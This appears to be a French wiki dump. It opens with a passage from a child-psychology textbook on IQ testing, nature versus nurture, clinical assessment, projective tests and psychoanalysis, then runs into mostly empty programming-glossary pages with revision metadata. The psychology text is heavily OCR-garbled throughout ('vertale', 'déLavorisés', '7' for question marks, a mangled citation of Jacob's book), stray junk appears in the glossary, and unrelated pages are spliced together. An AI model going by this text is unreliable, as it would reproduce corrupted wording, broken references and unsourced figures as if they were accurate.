» en indiquant que tel ou tel enfant avait réussi toutes les épreuves correspondant à la moyenne d'un groupe d'enfants par exemple de sept ans. Pour un enfant de cet âge, cela voulait dire qu'il avait une intelligence « normale », pour un enfant de neuf ans cela voulait dire qu'il était en retard. Coroment définit on le quotient intellectuel (QI) 7 (6) Parallèlement, le psychologue américain Stern avait introduit la notion de « quotient intellectuel » en rapportant l'âge de réussite ou d'intelligence à l'âge chronologique. Ainsi le QI était: âge d'intelligence ~ âge chronologique x 100. Pour reprendre les deux exemples cités ci-dessus cela donnait les résultats suivants: er~fant de sept ans réussissant les tâches de sept ans: QI=100 x 7/7=100 intelligence moyenne; enfant de neuf ans réussissant les tâches de sept ans: Ql=100 x 7/9=78 intelligence subnormale. Binet proposa son test d'intelligence ainsi conçu dès 1905 et il eut um grand succès. Mais le calcul du QI posa un problème théorique car, mathématiquement, le rapport n'est plus le même lorsque l'on divise par l'âge chronologique d'un adolescent ou d'un adulte. C'est la raison pour laquelle le psychologue américain Wechsler proposa trois échelles d'intelligence s'adressant aux jeunes enfants (WPPSI), aux enfants d'âge de l'école primaire et secondaire (WISC) et aux adultes (WAIS): WPPSI Wechsler prescolary and primary intelligence scale; WISC Wechsler intelligence scale for children; WAIS Wechsler adult intelligence scale. Pour contourner cette difficulté Wechsler se livra à un travail statistique énorme car il proposait une échelle de trois mois en trois mois pour les jeunes enfants; de six mois en six mois pour les grands en&nts et d'année en année pour les adultes, ainsi qu'une courbe de Gauss ou de distribution normale afin de pouvoir situer les résultats de chaque individu sous test par sous test en variation (mesurée en écart type) par rapport à la médiane de la population de son âge (voir ci dessus). Ces trois échelles de Wechsler sont aujourd'hui très connues et toujours utilisées (sous une forme actualisée et révisée). Chacune des échelles a une partie vertale et une partie non vertale, chaque partie comportant cinq sous tests. Pour le trés jeune enfant de 0-2 ans, I'échelle de développement de Branet Lézine indique un QD (quotient de développement). Mais des études longitudinales trés suivies (sur 18 ans) ont montré qu'il n'y a quasiment pas de corrélation entre le QD et le Ql à la fin de l'adolescence d'un même individu. Le QD a une place en approche clinique du trés jeune enfant (voir plus loin), mais il faut savoir que sa valeur prédictive est très faible. Il faut être prudent avec les tests d'intelligence car nous verrons plus loin que les psychologues ayant travaillé de façon approfondie sur la construction de l'intelligence chez l'enfant sont loin d'être d'accord entre eux sur l'évolution continue ou discontinue de l'intelligence, sur les éventuels paliers et sur «le moteur» de cette évolution. Dans l'histoire de la psychologie, on a donc assisté à un mouvement paradoxal: des psychologues avaient construit d'un côté des épreuves d'intelligence, les avaient améliorées et validées par un traitement statistique important alors que de l'autre côté des chercheurs travaillaient sur l'évolution et la construction de l'intelligence et ce qui « alimente » cette construction. Cette dichotomie entre la recherche fondamentale en Europe et les applications empiriques à grande échelle aux États-Unis n'est pas propre à la psychologie mais se retrouve dans bien d'autres sciences. La question de l'inné et de l'acquis fut relancée par l'utilisation des tests d'intelligence à grande échelle et l'exploitation statistique des résultats. A un moment donné de l'histoire de la psychologie on s'aperçut que les Ql des enfants de milieux favorisés étaient supérieurs (de façon significative au niveau statistique) aux Ql des enfants de milieux déLavorisés. Bien vite fut émise l'hypothése que l'intelligence était héréditaire. Mais cette hypothèse fut bientôt infirmée par deux faits. • A une époque de nombreux psychologues travaillèrent sur des jumeaux monozygotes, qui ont exactement le même bagage génétique. Si le caractère, I'intelligence ou d'autres facteurs psychologiques supposés innés l'étaient vraiment on devait forcément les retrouver chez chacun des jumeaux; d'où l'engouement temporaire pour les recherches sur les jumeaux. Effectivement, on constatait que le Ql de jumeaux monozygotes était identique dans 90 % des cas. Mais on constatait aussi que lorsque (éventualité forcément rare) les jumeaux monozygotes étaient élevés non seulement dans des milieux différents mais aussi dans des conditions sociales différentes le Ql observé n'était plus le même que dans 24 % des cas. ~ Une analyse qualitative des résultats obtenus aux tests d'intelligence par des enfants issus de milieux déLavoriæs montrait qu'ils étaient moins performants pour les sous tests qui incluaient un facteur verLal alors que les sous tests non vertaux (comme les formes géométriques par exemple) étaient réussis de la même façon. Or, depuis les travaux du sociolinguiste Berastein, on a observé que les personnes issues de milieux défavorisés utilisent un langage appelé « code restreint» portant plus largement sur la vie concrète et moins apte à véhiculer des notions abstraites. Au contraire, dans les milieux favorisés, on utilise un langage appelé «code élaboré» qui permet d'exprimer des concepts abstraits ou le raisonnement par hypothèses. Donc, I'influence du facteur vertal expliquait la différence des Ql observés (il existe aujourd'hui certains tests d'intelligence ayant évacué l'influence de ce facteur vertal handicapant pour certains enfants). Actuellement cette querelle théorique entre l'inné et l'acquis s'est atténuée. Elle a perdu son caractère passionnel et est devenue plus scientifique. Quel est l'état actuel de la querelle entre inné et acquis 7 (7) Il est vrai que les questions soulevées par le développement psychique de l'er fant æ sont considérablement renouvelées ces demières années. Il ne fait de doute pour personne que l'hérédité joue un rôle déterminant dans le développement. Il ne fait pas de doute non plus que l'environnement est tout aussi esæntiel. C'est surtout la conception des rapports entre inné et acquis qui s'est modifiée et précisée. Les progrés de certaines disciplines ont amené un retour de conceptions innéistes du développement. Ainsi, les progrès de la génétique et de la biologie moléculaire, la découverte de la nature du matériel chromosomique porteur de l'information héréditaire, de son étonnante stabilité, de sa quasi indépendance à l'égard du milieu environnant ont conduit des biologistes à reconsidérer l'importance de l'hérédité dans le développement. La plupart des auteurs, cependant, refusent ce retour à l'innéisme, en se fondant sur des arguments aussi bien biologiques que psychologiques. Le biologiste R Jacob (1~ Log que lu v~vant) maintient l'idée d'un programme génétique précis et l'invariance du patrimoine héréditaire par rapport au milieu environnant, mais il admet qu'au fur et à mesure de l'évolution des espéces apparait une certaine souplesse dans la programmation génétique. J. Piaget s'élève contre la notion de programme génétique en psychologie et considère que l'hérédité n'offre qu'un ensemble de possibilités d'action, qu'il reste à actualiser et qui, une fois actualisées, portent en elles mêmes leur capacité d'autorégulation et d'autoconstruction. J. P. Changeux a élaboré un modèle théorique pour rendre compte de l'interaction du patrimoine génétique et de l'environnement, modèle appelé «stabilisation fonctionnelle». Le programme génétique commande le développement de connexions entre neurones, mais l'exercice de la fonction correspondante est nécessaire pour hxer ces connexions, sinon elles dégénèrent. La Psychologie clinique (Psychologie de l'Enfant et de l'Adolescent) 877 45724 2006-06-25T20:37:07Z 81.52.161.77 [[Psychologie de l'enfant et de l'adolescent]] ---- 2- LA PSYCHOLOGIE CLINIQUE Le terme de « clinique » vient du grec klincin, être couché c'est donc ce qui se fait près du lit du malade. Au xixe siècle le terme de «psychologie clinique» venait de psychologues qui avaient fondé des cliniques psychologiques pour y soigner des enfants caractériels ou délinquants, des enfants déficients intellectuels, etc. (voir la partie 2.2. ci après). • Qu'est ce qui différencie la méthode clinique de la méthode expérimentale? (8) Contrairement à la psychologie expérimentale - qui travaillait sur le plus grand nombre de cas pour pouvoir présenter des résultats valides du point de vue scientifique - le psychologue clinicien se centre sur le cas du patient, de l'enfant malade ou en souffrance qu'il a devant lui et dont il cherche à comprendre le fonctionnement psychique afin de pouvoir le soigner. On peut donc dire que la clinique est une « science » et un art qui a ses méthodes, ses règles, son code moral: elle s'oppose à l'empirisme (et donc à la méthode expérimentale). Mais dans l'observation il y a, outre la connaissance, une part personnelle fondée sur l'intuition et l'expérience qui constitue ce que l'on appelle le sens clinique. 2.1. L'examen psychologique Certains outils de la psychologie expérimentale servent aussi au psychologue clinicien, tels les tests d'intelligence dont nous reparlerons ciaprès. L'examen psychologique se voit de fait souvent caractérisé, en tout ou en partie, par l'utilisation de certains instruments: les tests, qu'il s'agisse de tests au sens strict du terme (tests d'intelligence également appelés psychométriques), ou par extension du terme (techniques ou épreuves projectives). L'utilisation de tests psychologiques dans l'examen de psychologie clinique est aussi appelée « clinique armée ou instrumentale». Mais «clinique armée» est à préciser: un psychologue ne met pas de but en blanc, chronomètre au poing, un enfant devant une tâche à exécuter, un problème à résoudre. Il prend d'abord contact avec lui, lui parle, le met à l'aise. Le dessin libre et, chez l'enfant très jeune, le jeu sont utiles, voire nécessaires, à cette étape initiale et aussi à certains temps de repos. Prenons l'exemple des tests d'intelligence. • Dans quel but un psychologue clinicien utilise til des tests psychologiques avec un enfant 7 (9) Le psychologue clinicien ne s'intéresse pas seulement à la performance chiffrée de l'enfant; le test est aussi un support d'observation afin d'appréhender les stratégies qu'utilise l'enfant devant une tâche à résoudre ou son comportement face à l'échec. De plus, le psychologue clinicien ne se contente pas du résultat chiffré du Ql ou QD, mais il analyse de façon qualitative les réussites ou échecs de l'enfant aux différents sous tests. Certaines erreurs ou façons d'échouer sont révélatrices de tel ou tel dysfonctionnement de l'enfant. Quelques exemples: I'échec à la partie vertale et une réussite à la partie non vertale indiquent une anxiété non maitrisée de l'enfant face à une situation nouvelle - ici l'examen psychologique - et/ou une inSibition face au psychologue. Souvent c'est un indice de troubles névrotiques; le contraire (réussite à la partie verLale et échec à la partie non vertale) indique généralement une déficience du raisonnement abstrait qui est mal compensée par une aisance vertale apparente. Une analyse encore plus fine de tel ou tel échec de l'enfant peut porter sur l'orientation temporo spatiale (avec des indices soit de dyslexie soit de dyscalculie), sa latéralisation - pour ne citer que quelques exemples - et permet au psychologue clinicien de proposer des tests spécifiques portant sur ces secteurs de l'intelligence, toujours pour chercher à discemer le dysfonctionnement de l'enfant afin de pouvoir le soigner par la suite. Avant d'aller plus loin dans la description de la démarche clinique en psychologie de l'enfant, il faut noter qu'il est très rare qu'un psychologue clinicien procède seul à l'examen psychologique d'un l'enfant. S'il y a examen psychologique du point de vue clinique - et non pas dans un but de recherche - c'est qu'il y a un symptôme chez l'enfant qui inquiète et que les parents l'ont percu et viennent consulter soit en CMPP (centre médico psycho pédagogique; secteur privé), soit en CMP (centre médico psychologique; secteur public). La consultation auprès d'une équipe de pédopsychiatrie implique une rencontre entre les parents, I'enfant et le pédopsychiatre d'abord, puis les parents, I'enfant avec le psychologue clinicien ensuite. Ces consultations permettent que la demande des parents et de l'enfant soit entendue, qu'une évaluation diagnostique et pronostique des problèmes de l'enfant soit faite et qu'une indication thérapeutique soit posée. (Dans les équipes des CMPP ou CMP il y a encore d'autres spécialistes comme des orthophonistes, des psychomotriciens, des rééducateurs scolaires, etc., qui peuvent être amenés, si besoin est, à rencontrer l'enfant afin d'établir un bilan. Nous ne retraiterons pas ici de cet aspect des choses.) • Outre l'aspect psychométrique, à quoi sert un bilan psychologique .7 (10) Le bilan psychologique cherche à cerner le fonctionnement ou dysfonctionnement intellectuel de l'enfant amené en consultation (voir ci dessus). Mais le bilan du psychologue clinicien aident également à la c ompréhension de la personnalité de l'enfant en terme de structure et de fonctionnement psychique afin de pouvoir situer le symptôme de l'enfant dans une perception globale des facteurs intellectuels et affectifs. L'examen psychologique, dans sa partie psychométrique, fournit des indications d'autant plus nombreuses et précieuses que le psychologue a la ma^rtrise des instruments qu'il utilise et une expérience en psychopathologie. On n'étudie pas les fonctions intellectuelles de l'enfant sans étudier l'ensemble de sa personnalité. Pour l'examen de la personnalité de l'enfant c'est surtout l'expérience du psychologue qui importe. Il a certes à sa disposition des épreuves de personnalité (plus couramment appelées « tests projectifs » à cause du mécanisme de la projection sur lequel se fonde leur fonctionnement). Mais leur utilisation et surtout leur interprétation est difficile; il ne s'agit plus de résultats purement chiffrés (et nous venons de voir toutes les nuances qu'il convient de leur apporter). De façon générale on réserve le terme de « test de la personnalité» aux tests qui explorent les aspects non cognitifs de la personnalité. Si l'on prend « personnalité » au sens large, n'importe quel test est un test de personnalité; il est convenu cependant actuellement de réserva ce mot aux « tests projectifs ». • Quelle est la différence entre un test psychométrique et un test de personnalité ? (11) La différence essentielle entre tests psychométriques et tests de personnalité tient au fait que les premiers mesurent un rendement alors que les deuxièmes décrivent une structure et un mode de relation: il n'y a pas pour ces demiers de réponse bonne ou mauvaise, un tel jugement de valeur n'intervient pas pour l'appréciation des résultats. Revenons à l'appellation test projectif: la projection est un concept psychanalytique qu'il est malaisée de définir sans avoir parlé de la psychanalyse auparavant (voir le chapitre suivant). Disons simplement que le sens de «projectif» n'est pas tout à fait superposable à l'acception psychanalytique du terme. La projection au sens psychanalytique du terme signifie qu'un individu projette dans le monde extérieur quelque chose qui est à l'intérieur de lui même. L'exemple le plus parlant est celui de la persécution: un individu qui se sent persécuté projette en fait sur les personnes ou phénomènes dont il dit qu'ils le persécutent un danger inteme, intérieur qui n'a strictement aucun rapport avec la réalité des personnes ou phénomènes extérieurs. ~ Dans quel but a t,on conçu les tests projectifs .7 (12) Alors que l'épreuve projective est justement conçue pour susciter une réponse émotionnelle, affective de l'individu, le support même du test projectif a été construit pour explorer le monde intérieur de l'individu à travers les réponses que suscite le test chez lui. L'épreuve projective la plus connue est le test créé en 1921 par le neuropsychiatre suisse Herrnann Rorschach. Il s'agit d'un matériel varié, peu ou pas structuré, auquel le sujet examiné doit appliquer une structure. Le test de Rorschach consiste en une série de planches présentant des taches d'encre fortuites, sans fomme définie. Il existe dix planches dont sept sont en noir et blanc et trois en couleurs. Chaque interprétation foumie par l'enfant est cotée en fonction d'un certain nombre de critères. Mais, de par le mode de perception même propre à l'enfance, I'interprétation du Rorschach chez l'erfant est nettement plus difficile que chez l'adulte et exige de la part du psychologue beaucoup d'expérience et une formation particulière. Un autre test projectif très connu est le TAT (Thematic Apperception Test) de Murray (médecin et biologiste américain) où le sujet doit donner sens à une situation à signihcation ambiguë. Le matériel est constitué par une série d'images mettant en scène un ou plusieurs personnages dont l'attitude peut prêter à de multiples interprétations; le sujet est invité à raconter une histoire à propos de chaque image. Chez l'enfant on n'utilise pas le TAT au dessous de sept ans. De la multitude des épreuves projectives apparues dans le sillage du TAT, on peut retenir: - celle de Léopold Bellak: le CAT (Children Apperception Test) où les personnages sont remplacés par des animaux. On peut l'utiliser chez l'enfant à partir de trois ans; - celle de Louis Corman, également destinée aux enfants, où l'on retrouve un petit cochon (Patte noire). Corman en a construit une version pour des enfants d'origine arabe où le cochon est remplacé par un mouton. Citons encore le test du village ou « Jeu du Monde ». L'enfant dispose d'un matériel trés varié (personnages, animaux, maisons, éléments de voirie, voitures, artres et plantes, etc.) et doit construire «son monde préLéré» ou un « village qui lui plairait ». L'interprétation en devient tellement aléatoire qu'il est difhcile de parler encore de test (mais il s'agit d'un matériel excellent à utiliser pour la psychothérapie d'un jeune enfant). Reste une question délicate dont nous ne dirons que quelques mots, qui est le compte rendu de l'examen psychologique. Il est important que le psychologue clinicien, à l'intérieur d'une équipe pluridisciplinaire comme l'est celle de pédopsychiatrie, parle clairement de ce qu'il a perçu et constaté chez l'enfant à la fois dans son fonctionnement et son rendement intellectuel et au niveau de la structure de sa personnalité, son fonctionnement psychique en général (en termes adaptatifs et défensifs) afin qu'une thérapeutique adaptée puisse être proposée à l'enfant et à ses parents. Il en va différemment dans le contact avec les parents :certains écrits de vulgarisation sur la psychologie ont atteint un large public (à travers les journaux par exemple) et beaucoup de parents ont entendu parler de «Ql », de «personnalité», d'«épreuves projectives», etc., et interrogent le psychologue sur les «résultats» obtenus par l'enfant. Mais l'on ne communique pas un Ql comme un taux de glycémie ou le fonctionnement d'une personnalité en devenir comme un conseil nutritionnel. Donner un Ql sans le replacer dans son contexte et aborder à la fois le symptôme de l'enfant et la thérapeutique adaptée n'a aucun sens; ce n'est, souvent, qu'au cours d'une réunion de synthèse que les différents professionnels ayant vu l'enfant échangent leurs points de vue et se mettent d'accord sur la thérapeutique à proposer. Il faut donc souvent des trésors de diplomatie au psychologue pour renvoyer les parents vers la personne (le pédopsychiatre en général) chargée de leur parler de la vision globale de l'enfant et de la thérapeutique proposée. Reste le contact du psychologue avec certains autres professionnels qui demandent des renseignements (par exemple le psychologue scolaire, I'inÉrmière PMI ou l'éducateur de prévention qui ont dirigé l'enfant et ses parents vers la consultation). Il nous semble qu'une saine application du secret professionnel est encore la meilleure des solutions. 2 2. La rencontre entre la psychologie clinique et la psychanalyse Se développant à peu près à la même époque (fin du x~xe, début du xxe siècle), la psychologie clinique et la psychanalyse ne pouvaient que se rencontrer et s'influencer mutuellement. La visée clinique en psychologie avait le même intérêt pour l'individu dans sa totalité et sa singularité que la psychanalyse. Cela est vrai pour la psychologie clinique en général et la psychanalyse pour les adultes telle que Freud la développa à Vienne dès 1895 (publication des Etudes sur l'hystérie). Dès 1909, époque où Freud publia Analyse d'une phobie che: un petit garçon de 5 ans, le petit Hans, lui et d'autres psychanalystes tentérent de vérifier sur des « enfants réels » I'existence d'une sexualité infantile avec ses avatars, impasses et développements viciés possibles, comme les psychanalystes l'avaient postulé au niveau théorique en analysant les fantasmes, rêves, lapsus et actes manqués de leurs patients adultes lors des cures psychanalytiques. Un « détour » par la psychanalyse est quasi obligatoire puisque la psychologie contemporaine de l'enfant serait impensable sans les apports de la psychanalyse. Avant de parler de la psychanalyse essayons de replacer la psychologie clinique de l'enfant et l'application d'idées psychanalytiques à la compréhension de l'enfant (ce n'est que plus tard qu'on parlera de psychanalyse de l'enfant) dans leur histoire qui a plus d'un dénominateur commun: les méthodes pédagogiques reflètent assez fidèlement les conceptions psychologiques, sociales, philosophiques et éthiques d'une époque. Ce n'est pas un hasard si, sous l'influence des principes mêmes qui inspiraient la Déclaration des droits de l'homme, Itard entreprit l'éducation de Victor, I'enfant sauvage, et que d'autres médecins enlevèrent les châînes aux «fous» adultes et préconisèrent une réforme des asiles d'aliénés. La pédagogie «rééducative» du xlxe siècle visait à combler un déficit intellectuel ou une insuffisance sociale. Au début du xxe siècle une perception plus vive des facteurs psychologiques qui déterminent le développement de l'enfant (naissance de la méthode clinique en psychologie et création des premières « cliniques psychologiques » pour des enfants présentant des troubles psychopathologiques; voir ci-dessus et plus lorn) entrâîna une attitude et une visée péJagogiques différentes. Le développement de la psychologie clinique et la naissance de la psychiatrie infantile démantelèrent les cadres nosologiques existants et scrutèrent avec davantage de discernement les données du développement psychologique de renfant. L'introduction de nouveaux critères - surtout grâce à la psychanalyse - permit une perception plus fine de diverses manifestations telles que troubles du comportement familial, difficultés scolaires, particularité de certaines conduites, etc., autrefois négligées et considérées comme de simples accidents non spécifiques du caractère; cela modifia profondément la nosologie existante et l'aspect «rééducatif» de la pédopsychiatrie naissante. Les tentatives psychothérapiques - initiées par la psychologie clinique - prirent la place d'une visée purement rééducative et permirent ainsi de considérer les symptômes psychopathologiques de l'enfant comme des troubles de la ffconduite». Il ne s'agissait plus désormais de compenser un défaut intellectuel ou instrumental, ni de corriger les conditions extérieures déLavorables, mais de dépister la cause latente d'une conduite, envisagée comme symptomatique d'une structure névrotique ou d'un trouble réactionnel. C'est ainsi que la psychothérapie acquit une place de plus en plus importante parmi mes mesures médicopsychologiques. Cette assistance psychologique fut à la base de l'instauration des «child guidance clinics» (cliniques psychologique déjà mentionnées dans l'histoire de la psychologie clinique), destinées lors de leur création à dépister et à traiter les cas de délinquance juvénile. Mais leur champ s'élargit très rapidement et engloba les troubles du comportement, les troubles réactionnels de la conduite, les états prépsychotiques, les déficiences instrumentales, en somme une large part de la psychopathologie infantile. Les premières cliniques psychologiques virent le jour au début du xxe siècle aux Etats Unis. A Vienne, dans les cercles psychanalytiques, un intérêt croissant se manifesta pour la psychologie de l'enfant dès les années 1920. En 1924, un Centre de guidance infantile fut directement rattaché à l'lnstitut d'enseignement de la Société de psychanalyse de Vienne. Dès 1929 Anna Freud, fille de Sigmund Freud et future psychanalyste pour enfants (et bien d'autres psychanalystes suivirent son exemple), donne des cours aux éducateurs et instituteurs viennois. Ceci fut d'ailleurs énoncé parFreud lui même: devant l'impossibilité matérielle d'appliquer la cure psychanalytique à tous les hommes composant l'humanité (comme Freud l'avait pensé idéalement souhaitable à un moment de son cheminement théorique), il fallait chercher des principes psychanalytiques applicables à la pédagogie des enfants en guise de prophylaxie. En France on trouve les premiers CMP (voir ci dessus: centre médicopsychologique du service public; il dépend très généralement d'un service de pédopsychiatrie) dès les années 1930; les CMPP (voir ci-dessus: centre médico psychopédagogique, il dépend du secteur associatif privé) ouvrirent leurs portes après la Seconde Guerre mondiale. On voit donc que dans les faits la psychanalyse appliquée à l'enfant et la psychologie clinique de l'enfant ont avancé de pair et révolutionné ensemble la psychiatrie de l'enfant; elles se proposent sous la forme de « psychothérapies analytiques » aux enfants et adolescents présentant des symptômes invalidants dans les CMP et CMPP. Maintenant il nous faut aborder la psychanalyse; si l'on ne veut pas déformer sa pensée en simplifiant à outrance il faut s'y arrêter un instant: présenter à un public, quel qu'il soit, les données essentielles de la psychanalyse comporte des difficultés qui sont propres à cette discipline. Elles tiennent essentiellement au fait que ces données renvoient toujours, en fin de compte, à l'affirmation fondamentale qu'il existe des processus et des représentations inconscients. C'est là une affirmation dont le statut est tout à fait particulier, en ce sens qu'on ne peut ni l'étayer par quelque vérification expérimentale, ni se convaincre de son exactitude en recourant à l'introspection. En un sens elle est comparable à la démarche de savants qui, à partir de phénomènes observables, concluent à l'existence d'une cause dont ils sont en mesure de préciser les caractéristiques, bien que cette cause ne puisse pas être appréhendée ou perçue. Ainsi l'astronome Leverrier a t il affirmé l'existence de Neptune et calculé sa trajectoire à partir de perturDations jusque là inexpliquées d'Uranus. De la même façon, les éléments inconscients que dévoile la psychanalyse viennent combler les lacunes et éclairer de nombreux points obscurs de la théorie des névroses. Mais s'il est facile d'accepter qu'une planète existe, bien que les astronomes ne l'aient pas encore visuellement repérée, il est beaucoup moins aisé d'admettre qu'une idée, un désir, une représentation existent, qu'ils sont nôtres et développent en nous leurs effets sans que nous le sachions. La difficulté parâît d'autant plus grande que le rôle attribué à ces processus et représentations inconscients dans le développement de la pensonne, dans son caractère, ses attitudes et ses réactions, et ce tout au long de son existence, est considérable. Nous n'aurions, prétendent les psychanalystes, aucune idée des formations psychiques qui pourtant gouvernent notre vie. Lorsque la psychanalyse affirme, par exemple, que la crainte d'être castré par son père a existé chez tout enfant de sexe mâle et que ses réactions à une telle crainte ont joué un rôle décisif dans l'orientation ultérieure de son existence, les réactions possibles d'un profane sont les suivantes: ~ ou bien il demeure totalement incrédule et rejette en bloc une discipline dans laquelle se formulent pareilles inepties; ~ ou bien il s'en remet à l'analyste, et le croit sur parole, en fonction du prestige qu'il lui accorde; ~ ou bien il accueille cette assertion sur un mode intellectuel - éventuellement sous bénéfice d'inventaire - et il l'accepte dans la mesure où elle lui parâît avoir quelque valeur opératoire et pouvoir servir de support à une explication satisfaisante de certains phénomènes, qui faisait auparavant déLaut; ~ il peut enfin la saluer d'un « oui, bien sûr ! », acceptation blasée de celui qui entend n'être surpris par rien, qui masque l'opposition totale subsistant chez lui à un autre niveau. Dans aucun de ces cas, le contenu de l'affirmation n'est reconnu par celui qui l'accueille, même favorablement, comme faisant partie, ou ayant un jour fait partie de son vécu personnel. Comment peut on délinir succinctement la psychanalyse ~ ( 13) ~ Recherche d'un sens. La psychanalyse peut être conçue comme une démarche visant à établir un sens là où il semble manquer, ou à le rechercher là où l'on ne songerait pas qu'il pût exister L'attribution d'un sens n'est pas superposable à l'attribution d'une cause, c'est pourquoi d'ailleurs la psychanalyse n'est jamais devenue une science que l'on puisse enseigner à l'umiversité et que l'on n'a jamais réussi à « inclure » la psychanalyse dans des sciences voisines comme la psychologie ou la psychiatrie. ~ Conflit. Cette affirmation (« il y a un conflit») est la plus fondamentale; elle est propre aux deux modèles de la vie psychique que Freud a élaborés successivement lors de son cheminement théorique (appelés aussi « topiques»; on parle de la première topique: inconscient, préconscient, conscient et de la deuxième topique: ça, moi et surmoi). Retenons que la rencontre entre la psychologie clinique de l'enfant et la psychanalyse fut extrêmement fructueuse; nous avons vu comment elles ont - en interagissant - modernisé la psychiatrie de l'enfant; de plus elles font partie de l'arsenal thérapeutique disponible dans les consultations de pédopsychiatrie en France. De nos jours, la psychologie clinique de l'enfant a intégré les apports psychanalytiques sur le modèle pulsionnel, et au niveau de la genèse de la personnalité de l'enfant on prend en compte le développement psychosexuel orienté par l'entrée en jeu successive des différentes zones érogènes d'une part et la relation d'objet d'autre part (expression désignant les formes prises par la relation du sujet avec ses « objets », lui-même compris, au cours des différents moments évolutifs). Si au niveau théorique on ne sépare plus l'aspect psychanalytique de la psychologie clinique de l'enfant, il reste toutefois une différence au niveau de la pratique du psychologue clinicien, entre analyste et non analyste. En effet, I'originalité foncière du psychanalyste ne peut venir d'un savoir théorique, même très poussé, mais reste, au contraire, la marque indéléDile et irremplaçable dans son psychisme d'une expérience personnelle menée à bien sur un divan, expérience qu'il demeure, de ce fait, capable (et lui seul) de faire revivre à d'autres humains. Programmation Glossaire I 878 12536 2005-03-05T09:25:34Z Esope 99 mise en page = '''Id''' = * '''IDE''' : Environnement de développement intégré. Ensemble d'applications regroupant un éditeur, un compilateur et/ou un interpréteur, un debugger et d'autres applications. = '''Ih''' = * '''IHM''' : = '''Im''' = * '''Image bitmap''' : * '''Image vectorielle''' : = '''In''' = * '''Instruction''' : * '''Intelligence artificielle''' : * '''Interactivité''' : * '''Interpréteur''' : Compilateur ayant la particulier d'effectuer la transformation à la volée, au fur et à mesure de l'execution du programme. = '''It''' = * '''Itération''' : {{Programmation Glossaire}} Programmation Glossaire J 879 12537 2005-03-05T09:30:01Z Esope 99 mise en page = '''Je''' = * '''Jeu de test''' : Ensemble de données d'entrée d'un programme. Un jeu de test est destiné à vérifier le bon fonctionnement du programme. La sortie attendue fait également partie du jeu de test, afin de comparer la sortie effective et la sortie attendue. {{Programmation Glossaire}} Programmation Glossaire K 880 12538 2005-03-05T09:31:00Z Esope 99 mise en page = '''Ki''' = * '''Kilo-octet''' : 1024 octets. Voir aussi ''octet'' = '''Ko''' = * '''Ko''' : Symbole du Kilo-octet. Voir aussi ''Kilo-octet''. {{Programmation Glossaire}} Programmation Glossaire L 881 17521 2005-07-24T21:05:21Z Esope 99 mise en page = '''La''' = * '''Langage de programmation''' : = '''Li''' = * '''Licence''' : * '''Linker''' : = '''Lo''' = * '''Logiciel''' : {{Programmation Glossaire}} Programmation Glossaire M 882 19786 2005-08-22T08:16:53Z 196.192.36.114 /* '''Mn''' */ = '''Ma''' = * '''Machine virtuelle''' = '''Me''' = * '''Méga-hertz''' * '''Méga-octet''' * '''Mémoire''' = '''Mh''' = * '''MHz''' = '''Mi''' = * '''Microprocesseur''' éhjkhj= '''Mn''' = * '''Mnémonique''' = '''Mo''' = * '''Mo''' = '''Mu''' = * '''Multimédia''' * '''Multitâche''' {{Programmation Glossaire}} Programmation Glossaire N 883 12541 2004-11-09T18:39:19Z Esope 99 repris de l'ancien site, créé par Traroth {{Programmation Glossaire}} Programmation Glossaire O 884 17527 2005-07-24T21:15:54Z Esope 99 mise en page = '''Oc''' = * '''Octal''' * '''Octet''' = '''Or''' = * '''Ordinateur''' {{Programmation Glossaire}} Programmation Glossaire P 885 17531 2005-07-24T21:18:43Z Esope 99 mise en page = '''Pa''' = * '''Pattern''' = '''Pg''' = * '''PGI''' = '''Pr''' = * '''Processus''' * '''Progiciel''' * '''Programme''' * '''Projet''' {{Programmation Glossaire}} Programmation Glossaire R 886 17528 2005-07-24T21:17:23Z Esope 99 mise en page = '''Ra''' = * '''Ramasse-miette''' = '''Re''' = * '''Recette''' * '''Récursivité''' * '''Registre''' * '''Requête''' * '''Réseau''' {{Programmation Glossaire}} Programmation Glossaire Q 887 12545 2004-11-09T18:46:31Z Esope 99 repris de l'ancien site, créé par Traroth {{Programmation Glossaire}} Programmation Glossaire S 888 17532 2005-07-24T21:18:55Z Esope 99 mise en page = '''Sa''' = * '''Saut''' = '''So''' = * '''Source''' = '''Sp''' = * '''Sprite''' = '''St''' = * '''Stockage''' * '''Structure de données''' = '''Sy''' = * '''Système d'exploitation''' {{Programmation Glossaire}} Programmation Glossaire T 889 17534 2005-07-24T21:21:50Z Esope 99 mise en page + téra-octet = '''Te''' = * '''Temps partagé''' * '''Temps réel''' * '''Téra-octet''' : 10<sup>12</sup> d'octets, soit mille Giga-octet, ou un million de million d'octets. * '''Test''' * '''Test d'intégration''' * '''Test de charge''' * '''Test de recette''' * '''Test unitaire''' * '''Texture''' = '''Th''' = * '''Thread''' = '''To''' = * '''To''' : Téra-octet = '''Tr''' = * '''Tri''' {{Programmation Glossaire}} Programmation Glossaire U 890 17537 2005-07-24T21:22:58Z Esope 99 mise en page = '''Un''' = * '''Unicode''' * '''Unité arithmétique et logique''' * '''Unité de contrôle''' {{Programmation Glossaire}} Programmation Glossaire V 891 17538 2005-07-24T21:24:04Z Esope 99 mise en page + fautes d'orthographe = '''Vi''' = * '''Virus''' : Programme malicieux, souvent capable de se propager par ses propres moyens (par exemple par la messagerie ou directement par le réseau), et ayant des effets néfastes sur le fonctionnement du système, comme l'effacement de fichiers, le plantage du système ou l'attaque d'un site web. {{Programmation Glossaire}} Programmation Glossaire W 892 12550 2004-11-09T18:56:11Z Esope 99 repris de l'ancien site, page créée par Traroth = '''W''' = {{Programmation Glossaire}} Programmation Glossaire Y 893 12551 2004-11-09T18:58:20Z Esope 99 repris de l'ancien site, devinez qui l'a créé ? = '''Y''' = {{Programmation Glossaire}} Programmation Glossaire X 894 12552 2004-11-09T18:59:53Z Esope 99 repris de l'ancien site, créé par Traroth = '''X''' = {{Programmation Glossaire}} Programmation Glossaire Z 895 12553 2004-11-09T19:01:18Z Esope 99 créé par Traroth, repris de l'ancien site = '''Z''' = {{Programmation Glossaire}} Programmation Glossaire Autres 896 12554 2004-11-09T19:08:07Z Esope 99 repris de l'ancien site, créé par ............... Traroth ! = '''Autres''' = * '''2D''' * '''3D''' {{Programmation Glossaire}} Image:Xp logo.jpg 897 12555 2004-11-09T20:15:21Z Esope 99 repris de l'ancien site, uploadée par Traroth Logo Extreme Programming provenant de www.extremeprogramming.org. Utilisé en vertu du Fair Use. Tous droits réservés. Programmation XP Introduction 898 12556 2004-11-09T20:15:58Z Esope 99 repris de l'ancien site, créé par Traroth et modifié par Raph {{Programmation XP}} <table align=right><tr><td>[[image:Xp logo.jpg]]</td></tr></table> L''''Extreme Programming''' 